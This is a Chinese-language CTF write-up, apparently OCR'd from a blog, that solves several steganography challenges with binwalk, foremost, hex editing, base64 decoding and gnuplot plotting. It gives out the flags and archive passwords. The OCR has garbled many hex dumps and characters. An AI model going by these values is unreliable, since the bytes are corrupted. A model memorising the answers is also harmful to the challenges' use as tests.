版机	Z	
2	像	
图像	象 ID	
分割	摩率	3016 x 4032
宽度	H.	3016 像素
高度	ŧ	4032 像素
水平	P分辨率	72 dpi
垂直	≦分辨率 ፼度	ps <mark>://</mark> blog.csdn.net/qq_39629348 24

解密得到明文,这应该是密码之类的,先放着



MSDS456ASD123zz

将照片放到winhex中去,首先发现的是图片属性的信息

055	0	- 1	-		4	-	-	-		-	-		~			-	ANGT ACCTT	
OIISet	0	1	- 2	- 3	4	5			8	9	A	Б	C	D	E	2	ANSI ASCII	<u> </u>
000008A0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00		
000008B0	00	00	00	00	00	00	00	00	00	00	00	00	54	00	56	00	тν	
000008C0	4E	00	45	00	55	00	7A	00	51	00	31	00	4E	00	6B	00	NEUzQlNk	
000008D0	46	00	54	00	52	00	44	00	45	00	79	00	4D	00	33	00	FTRDEYM3	
000008E0	70	00	36	00	00	00	E5	87	BA	E9	A2	98	E4	BA	BA	E5	рб 凰é¢~"ä°°å	
000008F0	B7	B2	E7	BB	8F	E8	B7	91	E8	B7	AF	E4	BA	86	00	00	·°ç» è· ` è· [−] ä°†	
00000900	58	69	61	6F	6D	69	00	00	4D	49	20	36	00	00	00	00	Xiaomi MI 6	
00000910	00	48	00	00	00	01	00	00	00	48	00	00	00	01	73	61	H H sa	
00000920	67	69	74	2D	75	73	65	72	20	37	2E	31	2E	31	20	4E	git-user 7.1.1 N	
00000930	4D	46	32	36	58	20	56	38	2E	32	2E	32	36	2E	30	Æ	MF26X V8.2.26.0.	
00000940	4E	43	41	43	4E	45	43	20	72	65	6C	65	61	73	65	2D	NCACNEC release-	
00000950	6B	65	79	73	00	00	32	30	31	37	ЗA	30	38	ЗA	3/	30	keys 2017:08:10	
00000960	20	31	31	ЗA	35	33	ЗA	33	39	00	42	75	67	6B	25	90	_ 11:53:39 Bugku	
00000970	00	1D	82	9A	00	05	00	00	00	01	00	00	12	D2	騷	ī₫₽	, ś Ò,	
00000980	00	05	00	00	00	01	00	00	12	DA	88	22	00	03	00	00	Ú^"	
00000990	00	01	00	00	00	00	88	27	00	03	00	00	00	01	00	64	^' d	
000009A0	00	00	90	00	00	07	00	00	00	04	30	32	32	30	90	03	0220	
000009B0	00	02	00	00	00	14	00	00	12	E2	90	04	00	02	00	00	â	
000009C0	00	14	00	00	12	F6	91	01	00	07	00	00	00	04	01	02	ö	
000009D0	03	00	92	01	00	0A	00	00	00	01	00	00	13	0A	92	02	, ,	
000009E0	00	05	00	00	00	01	00	00	13	12	92	03	00	0A	00	00	,	
000009F0	00	01	00	00	13	1A	92	07	00	03	00	00	00	01	00	02	,	
00000A00	00	00	92	09	00	03	00	00	00	01	00	10	00	00	92	0A	, ,	
00000A10	00	05	00	00	00	01	00	00	13	22	92	90	00	02	00	00	"7	
00000A20	00	07	00	00	13	2A	92	91	00	02	00	00	00	07	00	00	*/ 1	
00000A30	13	32	92	92	00	02	00	00	00	07	00	00	13	ЗA	A0	00	2'' :	
00000A40	00	07	00	00	00	04	30	31	30	30	AO	01	00	03	00	00	0100	
00000A50	00	01	00	01	00	00	AO	02	00	04	00	00	00	01	00	00		
00000A60	OF	C0	A0	03	00	04	00	00	00	01	00	00	0B	C8	AO	05	À È	
00000A70	00	04	00	00	00	01	00	00	13	.42	A2	17	00	03	00	00	B¢	
08A00000	00	01	00	02	00	00	A3	01	00	07	00	òó	00	61	01	00	.net/qq_3962934	S.,

正常的 .jpg 图像文件的前12字节16进制数是

FF D8 FF E0 00 10 4A 46 49 46 00 01

但是这个没有,所以将图片改成zip后缀,放到kali中,使用binwalk提取,foremost分离

root@kali:~/桌面# binwalk 1.zip

<pre>root@kali:~/#</pre>	🛅 # binwalk 1.z:	ip		ZIP	ZIP	
				1.jpg.zip	1.zip	output
DECIMAL	HEXADECIMAL	DESC	RIPTION			
	0×0	1056	image data EV	TE standard		
10	0.00	JFEG	image data, EA	ir stanuaru	ee e:	and the second
12	UXC	TIFF	image data, bi	g-endian, or	TSET OT TI	irst image
directory: 8						
26594	0x67E2	Unix	path:/www.w3.	org/1999/02/	22-rdf-syr	ntax-ns#">
<rdf:descript:< td=""><td>ion rdf:about="u</td><td>uid:f</td><td>af5bdd5-ba3d-11</td><td>da-ad31-d33d</td><td>75182f1b"</td><td>xmlns:dc=</td></rdf:descript:<>	ion rdf:about="u	uid:f	af5bdd5-ba3d-11	da-ad31-d33d	75182f1b"	xmlns:dc=
"http://p			D tot#4			
27240	0x6A68	Unix	path: /www.w3.	org/1999/02/	22-rdf-syr	ntax-ns#">
<rdf:li>Bugku<</rdf:li>	<td>eq></td> <td></td> <td></td> <td></td> <td></td>	eq>				
5005118	0x4C5F3E	PARi	ty archive data			
6391983	0x6188AF	RAR	archive data, f	irst volume	type: MAIN	I_HEAD
root@kali:~/桌	🛅 # foremost 1.:	zip				
Processing: 1	.zip					
*			https	://blog.csd	n.net/qq_	39629343

在output文件中发现了一个rar文件,解压需要密码,之前查看属性的时候解压出来的信息派上用场了,没错,它就是解压密码, 在Linux下解压没法显示图片,在Windows下解压图片可以正常显示,说明图片被截了,使用winhex打开,使用老套路将高的值 改成宽的值

Offset	0	1	2	3	4	5	6	7	8	9	A	В	С	D	E	F	ANSI ASCII
00000000	89	50	4E	47	0D	0A	1A	0A	00	00	00	0D	49	48	44	52	%PNG IHDR
00000010	00	00	01	F4	00	00	01(A4)	08	06	00	00	00	СВ	D6	DF	ô ¤ ËÖß
00000020	8A	00	00	00	09	70	48	59	73	00	00	12	74	00	00	12	Š pHYs t
00000030	74	01	DE	66	1F	78	00	00	0A	4D	69	43	43	50	50	68	t Þf x MiCCPPh
00000040	6F	74	6F	73	68	6F	70	20	49	43	43	20	70	72	6F	66	otoshop ICC prof
00000050	69	6C	65	00	00	78	DA	9D	53	77	58	93	F7	16	3E	DF	ile xÚ SwX"÷ >ß
00000060	F7	65	0F	56	42	D8	FO	B1	97	6C	81	00	22	23	AC	80	÷e VBØð±−1 "#¬
00000070	C8	10	59	Α2	10	92	00	61	84	10	12	40	C5	85	88	A0	ÈY¢′a" @Å…^
00000080	56	14	15	11	9C	48	55	C4	82	D5	0A	48	9D	88	E2	A 0	V œHUÄ,ÕH ^â
00000090	28	B8	67	41	8A	88	5A	8B	55	5C	38	EE	1F	DC	Α7	B5	(,gAŠ^Z <u\8î td="" ܧµ<=""></u\8î>
000000A0	7D	7A	EF	ED	ED	FB	D7	FB	BC	E7	9C	E7	FC	CE	79	CF	}zïííû×û≒çœçüÎyÏ
000000B0	0F	80	11	12	26	91	E6	A2	6A	00	39	52	85	3C	ЗA	D8	€ &`æ¢j 9R<:Ø
000000000	1F	8F	4F	48	C4	C9	BD	80	02	15	48	E0	04	20	10	E6	OHÄÉ∻s€ Hà æ
00000D0	СВ	C2	67	05	C5	00	00	FO	03	79	78	7E	74	B0	ЗF	\mathbf{FC}	ËÂg Å ð yx~t°?ü
000000E0	01	AF	6F	00	02	00	70	D5	2E	24	12	C7	E1	FF	83	BA	−o pÕ.\$ Çáÿf°
000000F0	50	26	57	00	20	91	00	E0	22	12	E7	0B	01	90	52	00	P&W `à"ç R
00000100	C8	2E	54	C8	14	00	C8	18	00	B0	53	B 3	64	0A	00	94	È.TÈ È °S³d ″
00000110	00	00	6C	79	7C	42	22	00	AA	0D	00	EC	F4	49	3E	05	ly B" * ìôI>
00000120	00	D8	Α9	93	DC	17	00	D8	Α2	1C	Α9	08	00	8D	01	00	øc"ü ø¢ c
00000130	99	28	47	24	02	40	BB	00	60	55	81	52	2C	02	C0	C2	™(G\$ @» `U R, ÀÄ
00000140	00	A 0	AC	40	22	2E	04	C0	AE	01	80	59	B6	32	47	02	-70". Å® €Y¶2G
00000150	80	BD	05	00	76	8E	58	90	0F	40	60	00	80	99	42	2C	€¾ vŽX @`€™B,
00000160	CC	00	20	38	02	00	43	1E	13	CD	03	20	4C	03	A0	30	Í 8 C Í L O
00000170	D2	BF	E0	Α9	5F	70	85	B8	48	01	00	C0	СВ	95	CD	97	Ó¿à©_p…,H ÁË∙Í—
00000180	4B	D2	33	14	B8	95	D0	1A	77	F2	FO	E0	E2	21	E2	C2	KÓ3 ,•Đ wòðàâ!âÄ
00000190	6C	B1	42	61	17	29	10	66	09	E4	22	9C	97	9B	23	13	l±Ba) f ä"α−>#
000001A0	48	E7	03	4C	CE	0C	00	00	1A	F9	D1	C1	FE	38	3F	90	Hç LÏ ùÑAþ8?
000001B0	E7	E6	E4	E1	E6	66	E7	6C	EF	F4	C5	Α2	FE	6B	FO	6F	çæäáæfçlïôÅ¢þkðo
000001C0	22	3E	21	Fl	DF	FE	BC	8C	02	04	00	10	4E	CF	EF	DA	">!ñßþ4@ NÏïÚ
000001D0	5F	E5	E5	D6	03	70	C7	01	BO	75	BF	6B	A9	5B	00	DA	୲ୢୣଌୣଌଡ଼ୗୄଢ଼ୣ୵ୄ୶ୄୖ୳ୡଢ଼ୄ୲ୖ୷ୖ

将A4改成F4,然后另存为,即可得到flag



20.爆照(08067CTF) 8.jpg

使用winhex打开,有很多8的信息,还不知道是啥

Offset	0	1	2	3	4	- 5	6	7	8	9	Α	В	С	D	Е	F	ANSI ASCII
00028FE0	4A	4F	D3	01	50	4B	01	02	ЗF	00	14	00	00	00	08	00	JOÓ PK ?
00028FF0	50	10	5C	4B	D5	1D	60	06	83	28	00	00	06	2E	00	00	P \KÕ`f(.
00029000	04	00	24	00	00	00	00	00	00	00	20	00	00	00	BD	86	S 341
00029010	00	00	38	38	38	38	0A	00	20	00	00	00	00	00	01	00	8888
00029020	18	00	BC	20	24	C2	4D	4F	D3	01	9C	D2	23	C2	4D	4F	ι \$ÂMOÓ œÒ#ÂMO
00029030	D3	01	2C	C0	CE	94	4D	4F	D3	01	50	4B	01	02	ЗF	00	Ó ,ÀÎ″MOÓ PK ?
00029040	14	00	00	00	08	00	0B	08	5C	4B	FB	AA	B9	42	21	1B	\Kû = *B!
00029050	00	00	76	68	01	00	05	00	24	00	00	00	00	00	00	00	vh \$
00029060	20	00	00	00	62	AF	00	00	38	38	38	38	38	0A	00	20	1 88888
00029070	00	00	00	00	00	01	00	18	00	4C	01	30	12	45	4F	D3	L 0 ECÓ
00029080	01	9C	53	2E	12	45	4F	D3	01	9C	53	2E	12	45	4F	D3	œS. EOÓ œS. EOÓ
00029090	01	50	4B	01	02	ЗF	00	14	00	00	00	80	00	0B	08	5C	DK 5 /
000290A0	4B	5C	14	C0	1A	A 8	1A	00	00	76	68	01	00	06	00	24	K\ˬ vh \$
000290B0	00	00	00	00	00	00	00	20	00	00	00	Α6	CA	00	00	38	;Ê 8
00029000	38	38	38	38	38	0A	00	20	00	00	00	00	00	01	00	18	88888
000290D0	00	FC	5A	39	13	45	4F	D3	01	2C	5F	37	13	45	4F	D3	üZ9 EOÓ ,_7 EOÓ
000290E0	01	2C	5F	37	13	45	4F	D3	01	50	4B	01	02	ЗF	00	14	,_7 EOÓ PK ?
000290F0	00	00	00	08	00	0C	80	5C	4B	71	61	83	6F	Α4	1B	00	\Kqafo¤
00029100	00	76	68	01	00	07	00	24	00	00	00	00	00	00	00	20	vh \$
00029110	00	00	00	72	E5	00	00	38	38	38	38	38	38	38	0A	00	rå (8888888)
00029120	20	00	00	00	00	00	01	00	18	00	AC	F7	22	14	45	4F	"
00029130	D3	01	5C	C3	1F	14	45	4F	D3	01	5C	C3	1F	14	45	4F	Ó \Ã EOÓ \Ã EO
00029140	D3	01	50	4B	01	02	3F	00	14	00	00	00	08	00	0D	08	Ó PK ?
00029150	5C	4B	31	3B	DC	2B	1B	20	00	00	76	68	01	00	08	00	\K1;Ü+ vh
00029160	24	00	00	00	00	00	00	00	20	00	00	00	ЗB	01	01	00	\$;
00029170	38	38	38	38	38	38	38	38	A0	00	20	00	00	00	00	00	88888888
00029180	01	00	18	00	1C	8E	F3	14	45	4F	D3	01	6C	E0	F1	14	Žó ECĆ làñ
00029190	45	4F	D3	01	6C	E0	F1	14	45	4F	D3	01	50	4B	01	02	EOÓ làñ EOÓ PK
000291A0	ЗF	00	14	00	00	00	08	00	13	54	5C	4B	8D	DF	FO	80	?T\K_&ð
000291B0	05	CF	00	00	0D	E6	00	00	16	00	24	00	00	00	00	00	ne <u>i</u> \dë_saëzasts

放到kali中使用binwalk看到内容挺多

root@kali:~/桌面# binwalk 8.zip

DECIMAL	HEXADECIMAL	DESCRIPTION
0	0×0	JPEG image data, JFIF standard 1.01
40499	0x9E33	Zip archive data, encrypted at least v2.0 to extra
ct, compres	sed size: 8362, un	compressed size: 92278, name: 8
48892	0×BEFC	Zip archive data, at least v2.0 to extract, compre
ssed size:	14906, uncompresse	d size: 15739, name: 88
63830	0xF956	Zip archive data, at least v2.0 to extract, compre
ssed size:	11129, uncompresse	d size: 18479, name: 888
74992	0x124F0	Zip archive data, at least v2.0 to extract, compre
ssed size:	10371, uncompresse	d size: 11782, name: 8888
85397	0x14D95	Zip archive data, at least v2.0 to extract, compre
ssed size:	6945, uncompressed	size: 92278, name: 88888
92377	0x168D9	Zip archive data, at least v2.0 to extract, compre
ssed size:	6824, uncompressed	size: 92278, name: 888888
99237	0x183A5	Zip archive data, at least v2.0 to extract, compre
ssed size:	7076, uncompressed	size: 92278, name: 8888888
106350	0x19F6E	Zip archive data, at least v2.0 to extract, compre
ssed size:	8219, uncompressed	size: 92278, name: 88888888
168452	0x29204	End of Zip afphiye://blog.csdn.net/qq_39629343

使用foremost分离,真的是这么多文件。。。。。gif图里的二维码没法扫



将这些文件一个一个binwalk,发现有三个文件是被修改的图片

0	0x0	PC bitmap, Windows 3.x format,, 303 x 300 x 8 中文件夹 桌面
root@kali:~/桌	面/00000079# bi	nwalk 88
DECIMAL	HEXADECIMAL	DESCRIPTION
0 30 directory: 8	0x0 0x1E	JPEG image data, JFIF standard 1.01 TIFF image data, big-endian, offset of first image
root@kali:~/桌	面/00000079# bi	nwalk 888
DECIMAL	HEXADECIMAL 🛈 🖪	DESCRIPTION
0 30 directory: 8	0x0 □ 文 0x1E ④ T	JPEG image data, JFIF standard 1.01 TIFF image data, big-endian, offset of first image
4396 >	0x112C	Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"/ 乐
root@kali:~/桌	面 /00000079#_bi	nwalk 8888
DECIMAL	HEXADECIMAL	DESCRIPTION
0 30 directory: 8	0×0 0×1E	JPEG image data, JFIF standard 1.01 TIFF image data, big-endian, offset of first image
10976 ssed size: 644 11760	0x2AE0 4, uncompressed : 0x2DF0	Zip archive data, at least v2.0 to extract, compre size: 1202, name: 1509126368.png End of Zip archive
root@kali:~/桌	面/00000079# bi	nwalk 88888
DECIMAL	HEXADECIMAL	DESCRIPTION
0	0x0	PC bitmap, Windows 3.x format,, 303 x 300 x 8
root@kali:~/桌	面/00000079# bi	nwalk 888888
DECIMAL	HEXADECIMAL	DESCRIPTION https://blog.csdn.net/qq_39629343

88->(扫描)->bilibili

888->(右键属性)->(c2lsaXNpbGk=)base64解码->silisili

```
8888里面还有一个zip压缩包,修改后缀为zip,解压得到一个二维码->扫描->panama
```

而且flag的格式是flag{xxx_xxx}, gif提示排序,那就按顺序排在一起,使用"_"隔开,得到flag

flag{bilibili_silisili_panama}

21.图穷匕见 paintpaintpaint.jpg

查看图片属性

🧧 paintpaintpaint.jpg 属性

-

常规	安全	详细信息 以前的版本	
		· · · · · · · · · · · · · · · · · · ·	
属性		值	^
说明	3		
标题		图穷flag见	
主题		会画图吗?	
分级		$\diamondsuit \diamondsuit \diamondsuit \diamondsuit \bigstar$	
标记			
备注		气氛搞起来!	
来源	₹		
作者		出题人已跑路~	
拍摄	日期		
程序	名称		
获取	日期		
版权			
图像	ę		
图像	ID		
分辨	率	467 x 289	
宽度		467 像素	
高度		289 像素	
水平	分辨率	72 dpi	
垂直	分辨率	72 dpi	
位深	ŧ	24	×
删除属	性和个人 http	<u>信息</u> ps://blog.csdn.net/qq_39629	343

放到010Editor中去,图穷flag见,就是说flag在图片的末尾,找到jpg的文件尾FF D9,发现后面还有很多数据

🤒 010 Editor 💼 💼 💼 💼 🔤 paintpaintpaint.jpg																										
<u>F</u> ile	<u>E</u> di	t j	<u>S</u> ear	ch	<u>V</u> ie	w	F <u>o</u> rr	nat	Sc	r <u>i</u> pts	; T	emp	late	s]	<u>[</u> ool	s l	<u>W</u> ind	lov	<u>и</u>	elp						
I 🗋	~ [•			1	1	۱	÷.	i 🖠				5	3	1)	• ;	B I		⇒		A₁				¶	
pain	tpai	ntp	ain	t. j1	e x a			_																		
∓ B	dit	As:	Hex	\sim	Run	Scr	ipt	$\overline{}$	Run	Tem	plat	e 🗸														
														Ċ	D	E			012	34!	5678	9AP	SCDE			
51C01	h:	13	EC	83	2F	CD	5B	9D	AA	Β4	9E	C6	50	2E	68	C4	87		.ìf	/Í	[.**	žÆ	?.hÄ	ŧ		
51D01	h:	13	E8	D2	56	C8	41	88	B8	A6	46	05	42	3B	53	77	F4		.èÒ	VÈ.	A^ ,	F.F	3;Sw	ô		
51E01	h:	47	E6	A 9	FF	00	76	В7	FE	4B	FF	00	A 2	D9	1C	DO	63		Gæ©	ÿ.,	v •þF	(ÿ.(¢.Đ	c		
51F01	h:	F9	AA	7F	DD	AD	FF	00	92	FF	00	E8	B2	AO	69	53	73		ùª.	Ý-j	ÿ.′ÿ	į.è	' iS	s		
52001	h:	DF	FC	57	ЗE	A 1	92	4D	27	7D	36	5C	В4	20	C8	57	A7		ßüW	>; '	'M' }	6\	ÈW	s		
5210	h:	80	4B	81	EE	D2	ЗF	64	FC	FA	5F	F5	8D	1E	EB	44	2A		€К.	îÒ	?düí	iõ.	ëD			
52201	h:	25	B5	18	EF	95	ED	27	В1	54	93	9A	1C	21	CO	1F	50		%μ.	ï•:	i'±1	"š.	!À.	P		
52301	h:	80	DO	D1	FO	80	ЗD	30	81	A 1	08	41	F2	8D	ЗF	FE	9C		€ÐÑ	ið€⊧	=0.;	.Ad	ð.?þ	œ		
52401	h:	DF	42	BB	4F	Eб	67	AA	10	B8	47	E8	DD	BD	ЗF	92	92		ßВ»	Oæ	gª.,	Gèi	G≤?'	·		
52501	h:	DO	7C	AF	F7	42	16	9E	2E	DE	8E	DF	FE	8F	4F	FE	51		ÐI	÷в	.ž.Ę	Žß	.0þ	Q		
52601	h:	F6	5A	21	0B	A3	E4	DF	B2	6E	E9	37	9A	10	A 4	03	FE		öZ!	.£	äß"r	ié7	i.¤.	þ		
52701	h:	52	A7	98	42	12	A 8	ЗF	2A	63	92	10	A 4	0F	92	A6	A1		R§″	в.	?*c	2.3	e. / {			
52801	h:	0A	FE	81	C9	14	21	52	10	DC	AC	F9	A 1	0B	30	6E	84		.þ.	É.	!R.Ü	Ĵ-,ù	.On	,,		
52901	h:	21	69	02	93	В9	42	11	54	36	49	08	44	07	E6	F6	50		!i.	w 1]	в.те	5I.I	.æö	P		
52A01	h:	EE	5E	A 8	42	95	60	ЗC	95	0D	8A	10	80	6E	E8	76	E8		î^"	в•	۰<• .	.š.€	Inèv	è		
52B01	h:	42	7E	03	98	52	EE	68	42	80	ЗF	2A	63	72	84	20	A6		В∼.	~R	ìhB€	2*0	cr"			
52C01	h:	EC	87	21	0B	47	E9	1D	D5	72	42	13	F4	09	0E	48	42		ì‡!	.Ge	≦.Õr	в.а	бн	в		
52D01	h:	06	A2	A 7	2F	54	21	11	68	42	15	02	10	85	00	84	21		.¢§	/T	.hE	3 .				
52E01	h:	00	84	21	50	24	84	28	1A	10	84	02	10	85	40	84	21			P\$,	"(@"	!		
52F01	h:	00	84	21	07	FF	D9	32	38	33	37	32	63	33	37	32	39			• ÿl	0 <mark>283</mark>	3720	:372	9		
53001	h:	30	61	32	38	33	37	32	63	33	38	32	139	30	,61/	32	138.		.0.a2	83	72c3	82.	90a2	86	203	
5310	h:	33	37	32	63	33	39	32	39	30	61	32	38	33	37	32	1635	1	372	c3	9290	a2	372	a0₂	ະສູວ	

将FF D9和前面的数据删除,将剩余的另存为txt文件,使用Notepad++打开

https://blog.csdn.net/qq_39629343

^

数据按16进制->ASCII方式解码,步骤:插件->Converter->(HEX->ASCII),解码之后得到类似于坐标一样的信息

文件(F)	编辑(E) 搜索(S) 视图(V) 编码(N) 语言(L) 设置(T) 工具(O) 宏(M) 运行(R) 插件(P) 窗口(W) ?
🕞 📑 I	🗄 🐚 🗞 🕼 🙏 🗸 🐘 🛍 🖕 🔍 🗶 🛤 🆖 🔍 🔍 🖾 🐼 🗮 🗔 🚍 🛼 🤉 🚺 🧱 🐼 🔝 🖉 😥 💷 🐠 💌 🗉 🗩 🐼
🔚 paint	tpaintpaint.txt⊡
1	(7,7)
2	(7,8)
3	(7,9)
4	(7,10)
5	(7,11)
6	(7,12)
7	(7,13)

8	(7,14)	
9	(7,15)	
10	(7,16)	
11	(7, 17)	
12	(7,18)	
13	(7, 19)	
14	(7,20)	
15	(7, 21)	
16	(7, 22)	
17	(7,23)	
18	(7,24)	
19	(7,25)	
20	(7,26)	
21	(7,27)	
22	(7,28)	
23	(7,29)	
24	(7,30)	
25	(7,31)	
26	(7,32)	
27	(7,33)	
28	(7,34)	
29	(7,35)	
30	(7,36)	
31	(7,37)	
32	(7,38)	https://blog.csdp.pet/ag.39629343
<		https://blog.csuh.net/yd_302363

提示还说了会画图吗,把这些坐标绘成一张图,用gnuplot工具绘图,gnuplot能识别的格式 坐标x 坐标y

使用脚本将()和,替换掉

```
with open('paintpaint.txt','r') as file:
    fw = open('paintpaintpaint1.txt','w')
    while 1:
        lines = file.readlines()
        if not lines:
            break
        for line in lines:
            fw.write(line.replace('(','').replace(')','').replace(',',' '))
```

file.close

然后将 paintpaintpaint1.txt 放在kali中使用gnuplot工具绘图

root@kali:~/桌面# ls paintpaintpaint1.txt root@kali:~/桌面# gnuplot

G N U P L O T Version 5.2 patchlevel 2 last modified 2017-11-01

Copyright (C) 1986-1993, 1998, 2004, 2007-2017 Thomas Williams, Colin Kelley and many others

gnuplot home: http://www.gnuplot.info
faq, bugs, etc: type "help FAQ"
immediate help: type "help" (plot window: hit 'h')

Terminal type is now 'qt' gnuplot> plot "paintpaintpaint1.txt"



扫码得到flag

22.convert 1.txt

打开就是一片01,冷静一下之后想了想,convert是转换的意思,那就将二进制转一下,转成16进制

with open('1.txt','r') as file:	
erlist = file.readlines()	
<pre>fw = open('2.txt','w')</pre>	
<pre>fw.write(hex(int(str(erlist)[2:len(str(erlist))-2:],2)).replace('0x',''))</pre>	

file.close

fw.close

将十六进制复制到winhex中(ASCII Hex),可以发现rar!,说明这是一个rar压缩文件

noname																	
Offset	0	1	2	3	4	5	6	7	8	9	A	В	С	D	E	F	ANSI ASCII
00000000	52	61	72	21	1A	07	00	CF	90	73	00	00	0D	00	00	00	Rar! Ï s
00000010	00	00	00	00	F7	C0	74	20	90	2C	00	0D	09	00	00	59	÷Àt, Y
00000020	22	00	00	02	ЗE	63	70	19	0A	59	B 3	4A	1D	33	07	00	" >cp Y3J 3
00000030	20	00	00	00	6B	65	79	2E	6A	70	67	00	FO	14	AЗ	19	key.jpg ð £
00000040	10	1D	91	15	08	91	7C	90	15	EA	CB	02	EC	DO	82	28	' ' êË ìÐ,(
00000050	A 0	B 8	68	B4	DO	82	AO	5D	B6	28	80	81	60	89	Α9	44	_,h´Đ,]¶(€ `‱CD
00000060	DA	A 0	AO	DA	68	B 3	42	6C	B0	2C	C4	4D	29	Al	44	54	Ú Úh³Bl°,ÄM);DT
00000070	04	47	48	82	20	9A	50	1D	06	C5	41	15	14	31	31	01	GH, ŠP ÅA 11
00000080	04	4D	5D	C6	C0	50	B5	44	0C	14	B4	10	3B	16	07	44	M]ÆÀPµD ′; D
00000090	6C	0E	OF	71	EB	11	DF	1C	CE	F7	C3	3C	4F	В9	13	13	l gë ß Î÷Ã <c¹< td=""></c¹<>
0A000000	C9	99	FA	Α7	EE	4C	47	3C	26	2B	F9	89	Dl	F5	4C	CD	É™ú§îLG<&+ù‰ÑõLÍ
000000B0	4E	88	FA	ЗF	7E	Α9	FO	A 8	8A	8A	8A	88	9A	AA	$\mathbf{F0}$	98	N^ú?~©ð∵ŠŠŠ^ šªð ″
000000000	89	C7	F4	63	FE	C0	D2	AD	AB	AD	2B	80	36	58	0D	F8	‱ÇôcþÀÒ-«-+€6X ø
000000D0	5E	03	1F	D3	Α5	AC	56	7C	6F	6D	CC	2B	8B	80	D7	83	^ Ó¥⊣V∣omÌ+<€×f
000000E0	28	12	00	FO	CD	EO	31	C9	43	05	02	97	46	43	41	E0	(ðÍàlÉC -FCAà
000000F0	70	CB	B4	AD	05	0F	80	20	29	66	El	46	37	25	01	F1	pË′- €)fáF7% ñ
00000100	4 F	B1	ЗA	ЗE	05	8B	64	5B	F4	7C	0B	16	2D	91	Α0	6F	C±:> <d[ô] -'="" o<="" td=""></d[ô]>
00000110	С6	83	C2	57	B2	25	68	F8	16	2C	5B	23	EB	AЗ	ΕO	58	ÆfÂW°%hø ,[#ë£àX
00000120	В6	45	59	98	0E	40	7C	03	70	4F	4B	03	C0	1E	C0	B8	¶EY~ 0 pCK À À,
00000130	06	50	2B	00	90	37	45	99	02	9F	99	C6	85	4D	C7	25	P+ 7E™ Ÿ™ÆMÇ%
00000140	70	C9	46	01	77	29	FF	72	D8	81	BC	03	EF	D8	CA	B 0	pÉF w)ÿrØ ≒ ïØÊ°
00000150	56	5C	CF	B7	02	A 0	4F	5D	0A	7E	63	E0	E4	AF	A 1	70	V\Ï· C] ∼càä įp
00000160	В9	04	5D	CC	2E	79	44	24	FE	3E	30	07	2A	B 0	2B	2A	¹]Ì.yD\$þ>0 *°+*
00000170	31	2E	B 0	27	8A	20	D6	92	EO	EA	D8	40	53	D6	C5	28	1.°'Š Ö'àêØ@SÖÅ(
00000180	60	Α4	72	2F	0D	EE	79	8D	69	6D	60	52	DA	F2	B7	D0	`¤r/ îy im`RÚò∙Đ
00000190	7A	4C	1B	AE	48	14	D6	D8	DA	3C	8F	05	E4	53	B1	11	zL ®H ÖØÚ< äS±
000001A0	FC	16	F7	92	46	A1	74	8B	09	B6	6E	79	79	75	4F	16	ü ÷'F;tk ¶nyyuO
000001B0	2D	CD	E1	28	7B	5B	A7	01	B1	29	Α9	Dl	C8	5B	E0	F7	-Íá({[§ ±)©ÑÈ[à÷
000001C0	51	61	5A	05	81	40	73	E3	A8	F6	A 7	16	C2	F3	FA	C9	QaZ @sã¨ö§ ÂóúÉ
000001D0	0C	D4	54	51	BD	F4	94	A 8	C2	9B	DA	F3	03	2E	CD	70	ÔTQ⅔ô‴¨Â>Úó .Íp
000001E0	62	E3	AA	AB	63	73	7A	CB	EB	BB	63	0B	EE	Ε9	89	Α9	b㪫cszËë»c î鉩
000001F0	F5	C5	Α9	39	AD	18	72	96	90	D5	41	Fl	ЗD	Fl	C9	D5	õÅ©9- r- ÕAñ=ñÉÕ
00000200	C8	BD	87	8A	FA	7C	1C	D6	B3	2A	8A	17	DA	FC	9E	17	È≒‡Šú∣ Ö³*Š Úüž
00000210	BE	84	E1	68	4A	4A	0E	ED	6D	Α9	EC	1B	75	7 F	E 0	A 8	¾"áhJJ ím©ì u à∵
00000220	50	97	1F	Fl	Fl	8F	79	62	53	DA	5A	53	A3	В9	0C	E1	F− ññ ybSÚZS£ª á
00000230	53	B2	41	63	06	8B	1A	35	24	22	Α9	2 F	04	9C	СВ	F1	S°Ac < 5\$"©∕ œËñ
00000240	F1	24	BB	DO	DO	85	E6	82	2F	FE	24	04	AE	2B	FB	01	ñ\$≫ĐĐ…æ,/þ\$ ⊗+û
00000250	AЗ	E4	05	8B	64	73	FB	8D	lF	20	2C	58	B6	47	AF	FE	£ä (dsû ,X¶G [™] þ
00000260	C8	ЗF	1A	55	B6	39	85	Α4	97	B0	B4	/8A	C7	B4,	02	A8,	È? /0¶9¤+0°ćŠG12./12
									11 1	υp	9+1	/ L	10	8.	76 U	11. 1	1007 qq_00020010

另存为1.rar,打开压缩包,里面有一张图片,但是并没有key



放到UE中,发现一段base64,复制下来解码就ok

key.jpg	×																	
												þ		þ				
00000f90h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	
00000fa0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	
00000fb0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	
00000fc0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	
00000fd0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	
00000fe0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	
00000ff0h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	
00001000h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	
00001010h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	
00001020h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	
00001030h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	
00001040h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	
00001050h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	
00001060h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	;	
00001070h:	00	00	00	00	00	00	00	00	00	00	00	00	5A	00	6D	00	-	Z.m.
00001080h:	78	00	68	00	5A	00	33	00	73	00	77	00	4D	00	57	00		x.h.Z.3.s.w.M.W.
00001090h:	45	00	79	00	4E	00	57	00	56	00	68	00	4D	00	32	00		E.y.N.W.V.h.M.2.
000010a0h:	5A	00	6B	00	4E	00	6A	00	4D	00	30	00	4F	00	57	00		Z.k.N.j.M.0.0.W.
000010b0h:	4D	00	32	00	5A	00	54	00	59	00	7A	00	4E	00	57	00		M.2.Z.T.Y.z.N.W.
